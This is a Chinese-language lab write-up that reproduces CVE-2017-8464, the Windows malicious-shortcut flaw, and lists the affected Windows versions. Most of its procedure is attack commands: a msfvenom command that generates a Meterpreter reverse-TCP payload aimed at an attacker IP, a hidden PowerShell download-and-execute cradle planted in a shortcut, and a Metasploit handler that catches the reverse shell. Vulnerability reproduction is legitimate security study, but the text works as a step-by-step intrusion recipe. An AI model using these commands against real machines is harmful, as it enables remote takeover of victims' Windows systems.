CVE-2017-8464(远程执行命令)漏洞复现

漏洞复现过程

利用原理：
创建恶意快捷方式，包含恶意执行脚本，点击恶意快捷方式，导致本机中病毒。
漏洞影响范围:
• Microsoft Windows 10 Version 1607 for 32-bit Systems
• Microsoft Windows 10 Version 1607 for x64-based Systems
• Microsoft Windows 10 for 32-bit Systems
• Microsoft Windows 10 for x64-based Systems
• Microsoft Windows 10 version 1511 for 32-bit Systems
• Microsoft Windows 10 version 1511 for x64-based Systems
• Microsoft Windows 10 version 1703 for 32-bit Systems
• Microsoft Windows 10 version 1703 for x64-based Systems
• Microsoft Windows 7 for 32-bit Systems SP1
• Microsoft Windows 7 for x64-based Systems SP1
• Microsoft Windows 8.1 for 32-bit Systems
• Microsoft Windows 8.1 for x64-based Systems
• Microsoft Windows RT 8.1
服务器系统
• Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
• Microsoft Windows Server 2008 R2 for x64-based Systems SP1
• Microsoft Windows Server 2008 for 32-bit Systems SP2
• Microsoft Windows Server 2008 for Itanium-based Systems SP2
• Microsoft Windows Server 2008 for x64-based Systems SP2
• Microsoft Windows Server 2012
• Microsoft Windows Server 2012 R2
• Microsoft Windows Server 2016
利用过程：
攻击机：kali操作系统;Apache
靶机：win10
先用metasploit创建一个反弹shell木马。
命令：
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.163.136 lport=4444 -f psh-reflection>hack.ps1

将反弹shell木马文件（hack.ps1）移动到/var/www/html/中

开启apache服务：

浏览器可访问hack.ps1

在靶机上创建powershell远程快捷方式
命令：
powershell -windowstyle hidden -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(’ http://192.168.163.136/hack.ps1’);test.ps1”

生成快捷方式

攻击机kali打开msfconsole，并创建监听
msfconsole
use exploit/multi/handler
创建payload 和创建反弹shell木马文件一样
set payload windows/x64/meterpreter/reverse_tcp
set lhost 攻击机IP
set lpost 随意填
exploit # 开始攻击

双击打开靶机上创建的恶意快捷方式
靶机shell反弹给攻击机了
输入shell，可以在靶机上远程执行命令

比如，打开计算器。Calc.exe

查看靶机用户

查看靶机当前用户

复现完毕。再见